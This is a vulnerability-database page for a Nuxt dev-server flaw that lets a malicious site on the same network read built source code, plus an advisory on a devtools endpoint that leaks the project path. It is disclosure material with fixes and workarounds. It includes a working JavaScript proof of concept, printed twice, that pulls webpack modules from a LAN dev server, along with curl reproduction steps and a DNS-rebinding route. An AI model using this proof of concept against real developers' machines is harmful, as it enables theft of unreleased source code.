Every CVE Search/ Get API key

CVE-2026-45670

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

5.9 MediumFix available

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.

Attack profile

How easy it is to exploit

Attack vector
Adjacent network
Complexity
High
Privileges needed
None
User interaction
Passive

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.21%Up 0.2 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.9

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.

Record
CVE-2026-45670
CVSS 4.0
5.9 MediumCVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-749
Updated
2026-11-02
EUVDEUVD-2026-36419 5.9

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.

Record
EUVD-2026-36419
CVSS 4.0
5.9 MediumCVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-6m52-m754-pw2g 5.9

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

Summary

This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.

Details

The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.

Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
  const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
  for (const page in window[key]) {
    const moduleList = window[key][page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

(This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.

This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.

Patches

Fixed in [email protected] and [email protected] by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.

The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.

Workarounds

If you cannot upgrade immediately:

  • Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.
  • Use Chrome 142+ or another Chromium-based browser that enforces local network access restrictions.
  • Switch to the Vite builder for development.
Record
GHSA-6m52-m754-pw2g
CVSS 4.0
5.9 MediumCVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-749
Updated
2026-11-02
GitHub AdvisoriesGHSA-rq7w-g337-39qq 2.3

Nuxt: Dev server discloses project absolute path and persistent workspace UUID via `/.well-known/appspecific/com.chrome.devtools.json`

Summary

When running nuxt dev, Nuxt registers an unauthenticated route at /.well-known/appspecific/com.chrome.devtools.json that returns the absolute filesystem path of the project root and a per-project UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json. The route is enabled by default via experimental.chromeDevtoolsProjectSettings: true.

The endpoint exists to let Chrome DevTools' Workspace integration map sources to the developer's local checkout. The handler is registered directly on nitro.options.devHandlers and does not pass through the CORS / origin wrapper that the rest of the dev pipeline uses, so it has no host / origin / Sec-Fetch-Site check of its own.

Impact

Dev-server only. Production builds do not register the route.

Two values are disclosed:

  • workspace.root: the absolute filesystem path of the project (commonly reveals the OS username and the on-disk project name).
  • workspace.uuid: a v4 UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json, stable across dev-server restarts and re-clones.

Threat model

The response carries no Access-Control-Allow-Origin header. A cross-origin fetch() from an arbitrary malicious page is therefore blocked by the browser's same-origin policy and cannot read the body. The two realistic recovery paths are:

  1. LAN-adjacent attacker when the developer runs nuxt dev --host (or otherwise binds to a non-loopback interface). A plain curl http://<dev-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json returns the JSON; no browser, no CORS.
  2. DNS rebinding against the default loopback dev server. A page the developer visits resolves to the attacker, then re-resolves to 127.0.0.1 after the TTL; the browser believes the request is same-origin and reads the response.

Affected versions

[email protected] (PR #32084) through [email protected]. 3.x is not affected.

Reproduction

npx nuxt dev
curl -s http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
# {"workspace":{"uuid":"...","root":"/Users/<name>/..."}}

Workaround

Set experimental: { chromeDevtoolsProjectSettings: false } in nuxt.config.ts. Chrome DevTools' Workspace auto-integration will stop working; the dev server is otherwise unaffected.

Patches

Fixed in [email protected] by #35201 (commit 55c75b78). The handler is now routed through the same host / origin gate the rest of the dev server uses, so the endpoint only responds to requests that look local.

Record
GHSA-rq7w-g337-39qq
CVSS 4.0
2.3 LowCVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
NVD 5.9

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.

Record
CVE-2026-45670
CVSS 4.0
5.9 MediumCVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-749
Updated
2026-11-02
OSV 5.9

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

Nuxt is an open-source web development framework for Vue.js. In @nuxt/rspack-builder and @nuxt/webpack-builder versions 3.15.4 to before 3.21.6, and 4.0.0-alpha.1 to before 4.4.6, there is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network. This issue has been patched in versions 3.21.6 and 4.4.6.

Record
CVE-2026-45670
CVSS 4.0
5.9 MediumCVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-749
Updated
2026-11-02
Show 12 moreShow less
OSVGHSA-6m52-m754-pw2g 5.9

Nuxt: Dev server exposes built source over LAN to malicious sites (incomplete fix for GHSA-4gf7-ff8x-hq99)

Summary

This is an incomplete fix for GHSA-4gf7-ff8x-hq99. Source code may be stolen during dev when using the webpack / rspack builder if the dev server is bound to a non-loopback address (e.g. nuxt dev --host) and the developer opens a malicious site on the same network.

Details

The fix for GHSA-4gf7-ff8x-hq99 relied on Sec-Fetch-Mode and Sec-Fetch-Site headers. Because these headers are sent by the browsers only for potentially trustworthy origins, the check is able to bypass for non-potentially trustworthy origins.

Since the attack requires the website to be accessible via a non-potentially trustworthy origin, only apps that are using --host is affected.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://192.168.0.31:3000/_nuxt/app.js' // NOTE: replace with the IP address the dev server listens to
script.addEventListener('load', () => {
  const key = Object.keys(window).find(k => k.startsWith("webpackChunk"))
  for (const page in window[key]) {
    const moduleList = window[key][page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

(This script is the similar with GHSA-4gf7-ff8x-hq99 except for the script.src and the global variable name)

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites if it uses a predictable host and also is using --host.

This vulnerability does not affect Chrome 142+ (and other Chromium based browsers) users due to the local network access restriction feature.

Patches

Fixed in [email protected] and [email protected] by #35051. The dev-middleware same-origin check now falls back to comparing the request's Origin / Referer host against Host when Sec-Fetch-* headers are absent, closing the non-trustworthy-origin bypass.

The fix only ships for the @nuxt/webpack-builder and @nuxt/rspack-builder packages. The default Vite builder was not affected.

Workarounds

If you cannot upgrade immediately:

  • Don't use nuxt dev --host. Bind the dev server to localhost (the default) and tunnel from other devices via SSH or a reverse proxy that enforces same-origin checks.
  • Use Chrome 142+ or another Chromium-based browser that enforces local network access restrictions.
  • Switch to the Vite builder for development.
Record
GHSA-6m52-m754-pw2g
CVSS 4.0
5.9 MediumCVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
CVSS 3.1
5.4 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Weakness
CWE-749
Updated
2026-11-02
OSVGHSA-rq7w-g337-39qq 2.3

Nuxt: Dev server discloses project absolute path and persistent workspace UUID via `/.well-known/appspecific/com.chrome.devtools.json`

Summary

When running nuxt dev, Nuxt registers an unauthenticated route at /.well-known/appspecific/com.chrome.devtools.json that returns the absolute filesystem path of the project root and a per-project UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json. The route is enabled by default via experimental.chromeDevtoolsProjectSettings: true.

The endpoint exists to let Chrome DevTools' Workspace integration map sources to the developer's local checkout. The handler is registered directly on nitro.options.devHandlers and does not pass through the CORS / origin wrapper that the rest of the dev pipeline uses, so it has no host / origin / Sec-Fetch-Site check of its own.

Impact

Dev-server only. Production builds do not register the route.

Two values are disclosed:

  • workspace.root: the absolute filesystem path of the project (commonly reveals the OS username and the on-disk project name).
  • workspace.uuid: a v4 UUID persisted to node_modules/.cache/nuxt/chrome-workspace.json, stable across dev-server restarts and re-clones.

Threat model

The response carries no Access-Control-Allow-Origin header. A cross-origin fetch() from an arbitrary malicious page is therefore blocked by the browser's same-origin policy and cannot read the body. The two realistic recovery paths are:

  1. LAN-adjacent attacker when the developer runs nuxt dev --host (or otherwise binds to a non-loopback interface). A plain curl http://<dev-lan-ip>:3000/.well-known/appspecific/com.chrome.devtools.json returns the JSON; no browser, no CORS.
  2. DNS rebinding against the default loopback dev server. A page the developer visits resolves to the attacker, then re-resolves to 127.0.0.1 after the TTL; the browser believes the request is same-origin and reads the response.

Affected versions

[email protected] (PR #32084) through [email protected]. 3.x is not affected.

Reproduction

npx nuxt dev
curl -s http://localhost:3000/.well-known/appspecific/com.chrome.devtools.json
# {"workspace":{"uuid":"...","root":"/Users/<name>/..."}}

Workaround

Set experimental: { chromeDevtoolsProjectSettings: false } in nuxt.config.ts. Chrome DevTools' Workspace auto-integration will stop working; the dev server is otherwise unaffected.

Patches

Fixed in [email protected] by #35201 (commit 55c75b78). The handler is now routed through the same host / origin gate the rest of the dev server uses, so the endpoint only responds to requests that look local.

Record
GHSA-rq7w-g337-39qq
CVSS 4.0
2.3 LowCVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-200
Updated
2026-11-02
OSVCLSA-2026-1783558975 No score

TuxCare security update for nuxt (9 CVEs)

TuxCare rebuilt nuxt to address 9 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1783558975
Updated
2026-11-03
OSVCLSA-2026-1792160954 No score

TuxCare security update for @nuxt/vite-builder (10 CVEs)

TuxCare rebuilt @nuxt/vite-builder to address 10 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1792160954
Updated
2026-11-02
OSVCLSA-2026-1792161448 No score

TuxCare security update for @nuxt/kit (10 CVEs)

TuxCare rebuilt @nuxt/kit to address 10 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1792161448
Updated
2026-11-02
OSVCLSA-2026-1792161483 No score

TuxCare security update for @nuxt/rspack-builder (10 CVEs)

TuxCare rebuilt @nuxt/rspack-builder to address 10 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1792161483
Updated
2026-11-02
OSVCLSA-2026-1792161588 No score

TuxCare security update for @nuxt/schema (10 CVEs)

TuxCare rebuilt @nuxt/schema to address 10 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1792161588
Updated
2026-11-02
OSVCLSA-2026-1792161924 No score

TuxCare security update for @nuxt/webpack-builder (10 CVEs)

TuxCare rebuilt @nuxt/webpack-builder to address 10 CVEs. Fixed in 4.0.3-tuxcare.4.

Record
CLSA-2026-1792161924
Updated
2026-11-02
OSVCLSA-2026-1792758402 No score

TuxCare security update for nuxt (3 CVEs)

TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.12.4-tuxcare.16.

Record
CLSA-2026-1792758402
Updated
2026-11-02
OSVCLSA-2026-1792758690 No score

TuxCare security update for nuxt (3 CVEs)

TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.12.3-tuxcare.12.

Record
CLSA-2026-1792758690
Updated
2026-11-02
OSVCLSA-2026-1792758921 No score

TuxCare security update for nuxt (3 CVEs)

TuxCare rebuilt nuxt to address 3 CVEs. Fixed in 3.2.0-tuxcare.8.

Record
CLSA-2026-1792758921
Updated
2026-11-03
OSVCLSA-2026-1793661076 No score

TuxCare security update for nuxi (3 CVEs)

TuxCare rebuilt nuxi to address 3 CVEs. Fixed in 3.2.0-tuxcare.8.

Record
CLSA-2026-1793661076
Updated
2026-11-03

Affected products

Affected packages

Affected packages
PackageAffectedFixed
@nuxt/rspack-builder
npm
3.15.4 to 3.21.5
3.21.6
@nuxt/rspack-builder
npm
4.0.0-alpha.1 to 4.4.5
4.4.6
@nuxt/webpack-builder
npm
3.15.4 to 3.21.5
3.21.6
@nuxt/webpack-builder
npm
4.0.0-alpha.1 to 4.4.5
4.4.6
nuxt
npm
4.0.0-alpha.1 up to 4.4.7
4.4.7
nuxt
TuxCare:npm
From an advisory covering 6 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.24.0.3-tuxcare.3
4.0.3-tuxcare.4
@nuxt/vite-builder
TuxCare:npm
From an advisory covering 7 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.3
4.0.3-tuxcare.4
@nuxt/kit
TuxCare:npm
From an advisory covering 7 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.3
4.0.3-tuxcare.4
@nuxt/rspack-builder
TuxCare:npm
From an advisory covering 7 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.3
4.0.3-tuxcare.4
@nuxt/schema
TuxCare:npm
From an advisory covering 7 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.3
4.0.3-tuxcare.4
Show 9 moreShow less
Affected packages
PackageAffectedFixed
@nuxt/webpack-builder
TuxCare:npm
From an advisory covering 7 CVEs
4.0.3-tuxcare.0 up to 4.0.3-tuxcare.4, plus listed versions
4.0.34.0.3-tuxcare.14.0.3-tuxcare.3
4.0.3-tuxcare.4
nuxt
TuxCare:npm
From an advisory covering 3 CVEs
3.12.4-tuxcare.0 up to 3.12.4-tuxcare.16, plus listed versions
3.12.43.12.4-tuxcare.103.12.4-tuxcare.113.12.4-tuxcare.123.12.4-tuxcare.13
Show 10 moreShow less
3.12.4-tuxcare.143.12.4-tuxcare.153.12.4-tuxcare.23.12.4-tuxcare.33.12.4-tuxcare.43.12.4-tuxcare.53.12.4-tuxcare.63.12.4-tuxcare.73.12.4-tuxcare.83.12.4-tuxcare.9
3.12.4-tuxcare.16
nuxt
TuxCare:npm
From an advisory covering 3 CVEs
3.12.3-tuxcare.0 up to 3.12.3-tuxcare.12, plus listed versions
3.12.33.12.3-tuxcare.13.12.3-tuxcare.103.12.3-tuxcare.113.12.3-tuxcare.2
Show 7 moreShow less
3.12.3-tuxcare.33.12.3-tuxcare.43.12.3-tuxcare.53.12.3-tuxcare.63.12.3-tuxcare.73.12.3-tuxcare.83.12.3-tuxcare.9
3.12.3-tuxcare.12
nuxt
TuxCare:npm
From an advisory covering 3 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.8, plus listed versions
3.2.03.2.0-tuxcare.13.2.0-tuxcare.23.2.0-tuxcare.33.2.0-tuxcare.43.2.0-tuxcare.53.2.0-tuxcare.63.2.0-tuxcare.7
3.2.0-tuxcare.8
nuxi
TuxCare:npm
From an advisory covering 3 CVEs
3.2.0-tuxcare.0 up to 3.2.0-tuxcare.8, plus listed versions
3.2.03.2.0-tuxcare.23.2.0-tuxcare.43.2.0-tuxcare.53.2.0-tuxcare.63.2.0-tuxcare.7
3.2.0-tuxcare.8
@nuxt/rspack-builder
npm
3.15.4 up to 3.21.6
3.21.6
@nuxt/rspack-builder
npm
4.0.0-alpha.1 up to 4.4.6
4.4.6
@nuxt/webpack-builder
npm
3.15.4 up to 3.21.6
3.21.6
@nuxt/webpack-builder
npm
4.0.0-alpha.1 up to 4.4.6
4.4.6

History

History
RecordedChangedSources
affected, facts
affected, aliasesOSV
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-45670 is a medium vulnerability (CVSS 5.9) in @clerk Nuxt, published May 19, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.21%, the 10th percentile. Fixed in @nuxt/rspack-builder 3.21.6.

References

Show 5 moreShow less
MoveEnter Open